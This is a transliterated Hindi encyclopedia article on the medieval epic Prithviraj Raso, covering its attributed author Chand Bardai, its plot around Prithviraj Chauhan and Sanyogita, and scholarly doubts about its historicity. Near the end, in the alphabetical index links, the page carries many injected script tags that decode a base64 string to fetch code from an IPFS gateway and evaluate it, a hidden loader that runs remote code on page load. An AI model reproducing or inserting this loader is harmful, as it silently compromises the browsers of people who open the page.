पृथ्वीराज रासो

	prithviraj raso
	prithviraj raso\|150px\|center
kavi	chandabaradaee
mool shirshak	prithviraj raso
mukhy patr	prithviraj chauhan
desh	bharat
shaili	kavy
vishay	jivan charitr ka varnan
vidha	mahakavy
vishesh	'prithviraj raso' vir ras ka hiandi ka sarvashreshth kavy hai.

prithviraj raso hindi bhasha mean likha gaya ek mahakavy hai, jisamean prithviraj chauhan ke jivan-charitr ka varnan kiya gaya hai. yah kavi chandabaradaee ki rachana hai, jo prithviraj ke abhinn mitr tatha rajakavi the. isamean dillishvar prithviraj ke jivan ki ghatanaoan ka vishad varnan hai. yah ek vishal mahakavy hai. yah terahavian shati ki rachana hai. d aau. mataprasad gupt ise 1400 vi. ke lagabhag ki rachana manate haian. prithviraj raso ki aitihasikata vivadagrast hai.^[1]

hindi sahity ka mahakavy

is pustak ke bare mean sandeh yah hai ki yah rachana 'diangal' ki hai athava 'piangal' ki. yah granth ek se adhik rachayitaoan ka ho sakata hai. 'prithviraj raso' dhaee hazar prishthoan ka sangrah hai. isamean prithviraj v unaki premika sanyogita ke parinay ka sundar varnan hai. yah granth aitihasik kam kalpanik adhik hai. 'prithviraj raso' tatha 'alhakhand' hindi sahity ke adi kal ke do prasiddh mahakavy haian. prithviraj raso ko ham sahityik parampara ka vikasanashil mahakavy aur alhakhand ko lok-mahakavy ki sanjna de sakate haian. raso ka vrihattam roopantar jo nagaripracharini sabha se prakashit hai, 69 samay (sarg) ka vishal granth hai. isamean antim hindoo samrat prithviraj chauhan ke jivan-vritt ke sath samanti vir-yug ki sabhyata, rahan-sahan, man-maryada, khan-pan tatha any jivan-vidhiyoan ka itana kramavar aur sahi varnan hua hai ki isamean tatkalin samagr yugajivan apane samast gun-doshoan ke sath yatharth roop mean chitrit ho utha hai. [[chitr:Prithvi-Raj-Chauhan-Statue-Ajmer.jpg|thumb|left|prithviraj chauhan ki pratima, ajamer]]

vivaran

adhyatm, rajaniti, dharm, yog, kamashastr, mantr-tantr, yuddh, vivah, mrigay, mantrana, dauty, manaviy saundary, sangit-nrity, van upavan-vihar, yatra, pashu-pakshi, vriksh, phal-phool, pooja-upasana, tirth-vrat, devata-muni, svarg, raj-darabar, ant:pur, udyan goshthi, shastrarth, vasantotsav tatha samajik tatha samajik riti-rivaj – tatpary yah ki tatkalin jivan ka koee pahaloo aisa nahian bacha hai, jo rasoan mean n aya ho. kintu in vishayoan mean bhi yugapravritti ke anusar sabase adhik ubhar mila hai yuddh, vivah, bhog vilas tatha mrigaya ke hi varnanoan ko aur yahi karan hai ki 'prithviraj raso' mean charitry ki vah garima nahian a payi hai, jo adarsh mahakavy ke lie avashyak haian.

mahakavy ka vishay

raso ke 65 vean sarg mean prithviraj ki raniyoan ke nam ginayean gaye haian, jinaki sankhya terah hai. inamean se keval char ke vivah ubhay paksh ki svechchha se hue, shesh sabako balat haran kiya gaya tha, jinake lie yuddh bhi karane p de the. in vivahoan ke varnan rasoan mean atyadhik vistar se milate haian, jisase jnat hota hai ki ye hi ukt mahakavy ke pramukh vishay hai.

rajanitik sthiti ka varnan

shahabuddin gauri ke akramanoan ke samay prithviraj itana vilasi ho gaya tha ki sanyogita ke mahal se bahar nikalata hi nahian tha. usaki sahayata ke lie raval samar sianh dilli akar thaharate the, kintu prithviraj ko isaki soochana lene ki bhi phursat nahian thi. praja mean kasht aur asantosh badhata gaya. ant mean vah shahabuddin dvara bandi banakar gazani le jaya jata hai, jahaan chandabaradaee ke sanketoan se gauri ko biandhakar svayan bhi mar jata hai. is prakar raso hamare patan aur gam ki kahani hai.

kathanak ki shithilata

[[chitr:Chandbardai.jpg|thumb|chandabaradaee]] rasoan mean kathanak ki shithilata, vishrriankhalata tatha asantulit yojana bhi atyadhik khatakati hai. kathanak ka jo ek kshin tantu hai, vah bhi bich-bich mean vivah, mrigaya adi ke uba dene vale lambe varnanoan ke karan toot jata hai. kathanak mean sunishchit yojana tatha samanupatik sanghatan ke abhav ka karan kadachit yah bhi hai ki usake vartaman roopantar mean mool rachana ke atirikt prakshep bhi atyadhik pariman mean hue haian. at: 'prithviraj raso' utkrisht koti ke mahakavyoan ki shreni mean rakhean jane ke yogy nahian jan p data.

ramachandr shukl ke anusar

ramachandr shukl ne 'hindi sahity ka itihas' mean likha hai - 'prithviraj raso dhaee hazar prishthoan ka bahut b da granth hai jisamean 69 samay (sarg ya adhyay) haian. prachin samay mean prachalit pray: sabhi chhandoan ka vyavahar hua hai. mukhy chhand haian kavitt (chhappay), dooha, tomar, trotak, gaha aur arya. jaise kadanbari ke sanbandh mean prasiddh hai ki usaka pichhala bhag ban ke putr ne poora kiya hai vaise hi raso ke pichhale bhag ka bhi chand ke putr 'jalhan' dvara poorn kiya jana kaha jata hai.' raso ke anusar jab shahabuddin gauri prithviraj ko kaid karake gajani le gaya tab kuchh dinoan pichhe chand bhi vahian ge. jate samay kavi ne apane putr jalhan ke hath mean raso ki pustak dekar use poorn karane ka sanket kiya. jalhan ke hath mean raso ko sauanpe jane aur usake poore kie jane ka ullekh raso mean hai -

pustak jalhan hatth dai chali gajjan nripakaj.
raghunathacharit hanumantakrit bhoop bhoj uddh riy jimi.
prithirajasujas kavi chand krit chandanand uddh riy timi

kathanak

prithviraj raso mean aboo ke yajnakuand se char kshatriy kuloan ki utpatti tatha chauhanoan ke ajamer mean rajasthapan se lekar prithviraj ke pak de jane tak ka savistar varnan hai. is granth ke anusar prithviraj ajamer ke chauhan raja someshvar ke putr aur arnoraj ke pautr the. someshvar ka vivah dilli ke tuanvar (tomar) raja anangapal ki kanya se hua. anangapal ki do kanyaean thian suandari aur kamala. suandari ka vivah kannauj ke raja vijayapal ke sath hua aur is sanyog se jayachand rathaur ki utpatti huee. doosari kanya kamala ka vivah ajamer ke chauhan someshvar ke sath hua jinake putr prithviraj hue. anangapal ne apane nati prithviraj ko god liya jisase ajamer aur dilli ka raj ek ho gaya.

sanyogita ka svayanvar

jayachand ko yah bat achchhi n lagi. usane ek din rajasooy yajn karake sab rajaoan ko yajn ke bhinn-bhinn kary karane ke lie nimantrit kiya aur is yajn ke sath hi apani kanya sanyogita ka svayanvar racha. rajasooy yajn mean sab raja ae par prithviraj nahian ae. isapar jayachand ne chidhakar prithviraj ki ek svarnamoorti dvarapal ke roop mean dvar par rakhava di. sanyogita ka anurag pahale se hi prithviraj par tha, at: jab vah jayamal lekar rangabhoomi mean aee tab usane prithviraj ki moorti ko hi mala pahana di. is par jayachand ne use ghar se nikalakar ganga kinare ke mahal mean bhej diya. idhar prithviraj ke samantoan ne akar yajn vidhvans kiya. phir prithviraj ne chupachap akar sanyogita se gandharv vivah kiya aur aant mean ve use har le ge. raste mean jayachand ki sena se bahut yuddh hua, par sanyogita ko lekar prithviraj kushalatapoorvak dilli pahuanch ge. vahaan bhogavilas mean hi unaka samay bitane laga, rajy ki raksha ka dhyan n rah gaya.

aitihasikata ka abhav

bal ka bahut kuchh hras to jayachand tatha aur rajaoan ke sath l date-l date ho chuka tha aur b de-b de samant mare ja chuke the. achchha avasar dekh shahabuddin chadh aya, par har gaya aur pak da gaya. prithviraj ne use chho d diya. vah bar-bar chadhaee karata raha aur aant mean prithviraj pak dakar gajani bhej die ge. kuchh kal ke pichhe kavi chand bhi gajani pahuanche. ek din chand ke ishare par prithviraj ne shabdabedhi ban dvara shahabuddin ko mara aur phir donoan ek-doosare ko marakar mar ge. shahabuddin prithviraj ke bair ka karan yah likha gaya hai ki shahabuddin apane yahaan ki ek suandari par asakt tha, jo ek-doosare pathan saradar husainashah ko chahati thi. jab ye donoan shahabuddin se tang hue tab harakar prithviraj ke pas bhag ae. shahabuddin ne prithviraj ke yahaan kahala bheja ki un donoan ko apane yahaan se nikal do. prithviraj ne uttar diya ki sharanagat ki raksha karana kshatriyoan ka dharm hai, at: in donoan ki ham barabar raksha kareange. isi bair se shahabuddin ne dilli par chadhaiyaan kian. yah to prithviraj ka mukhy charitr hua. isake atirikt bich-bich mean bahut-se rajaoan ke sath prithviraj ke yuddh aur anek rajakanyaoan ke sath vivah ki kathaean raso mean bhari p di haian. oopar likhe vrittaant aur raso mean die hue sanvatoan ka aitihasik tathyoan ke sath bilkul mel n khane ke karan anek vidvanoan ne prithviraj raso ko prithviraj ke samasamayik kisi kavi ki rachana hone mean poora sandeh kiya hai aur use solahavian shatabdi mean likha hua ek jali granth thaharaya hai. raso mean changej, taimoor adi kuchh pichhe ke nam ane se yah sandeh aur bhi pusht hota hai. prasiddh itihasajn rayabahadur pandit gaurishankar hirachand ojha 'raso' mean varnit ghatanaoan tatha sanvatoan ko bilkul bhatoan ki kalpana manate haian.^[2]

kavy visheshataean

'prithviraj raso' vir ras ka hiandi ka sarvashreshth kavy hai. hiandi sahity mean vir charitroan ki jaisi vishad kalpana is kavy mean mili vaisi bad mean kabhi nahian dikhaee p di. pathak rachana bhar mean utsah ki ek um dati huee sarita mean bahata chalata hai. kannauj yuddh ke poorv sanyogita ke anurag aur virah tatha ukt yuddh ke anantar prithviraj chauhan aur sanyogita ke milan aur keli vilas ke jo chitr rachana mean milate haian, ve atyant akarshak haian. any rasoan ka bhi kavy mean abhav nahian hai. rachana ka varnanavaibhav asadharan hai; nayak nayika ke sanbhog samay ka shadhrritu varnan kahian kahian par sanshlisht prakriti chitran ke suandar udaharan prastut karata hai. bhasha-shaili sarvatr prabhavapoorn hai aur varny vishay ke anuroop kavy bhar mean badalati rahati hai. rachana ke in samast gunoan par drishtipat kiya jae to vah ek suandar mahakavy pramanit hota hai aur ni:sandeh adhunik bharatiy aryabhasha sahity ke adi yug ki vishisht kriti thaharati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ raso kavy : viragathayean (hindi). . abhigaman tithi: 15 mee, 2011.
↑ hindi sahity ka itihas, viragatha kal (sanvath 1050 - 1375) adhyay 3, lekhak - ramachandr shukl

sankshipt prithviraj raso: san. hajariprasad dvivedi tatha namavar sianh, sahity bhavan li., prayag;
prithviraj raso : san. kaviray mohan, sahity sansthan, sansthan, rajasthan vishv vidyapith, udayapur.
prithviraj-vijay : san. gaurishankar hirachand ojha, ajamer ;
surjan charit mahakavy (chandrashekhar krit) san. d aau. chandradhar sharma, hiandoo vishvavidyalay, varanasi;

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] raso kavy : viragathayean (hindi). . abhigaman tithi: 15 mee, 2011.

[2] sahity ka itihas, viragatha kal (sanvath 1050 - 1375) adhyay 3, lekhak - ramachandr shukl

[1]

[2]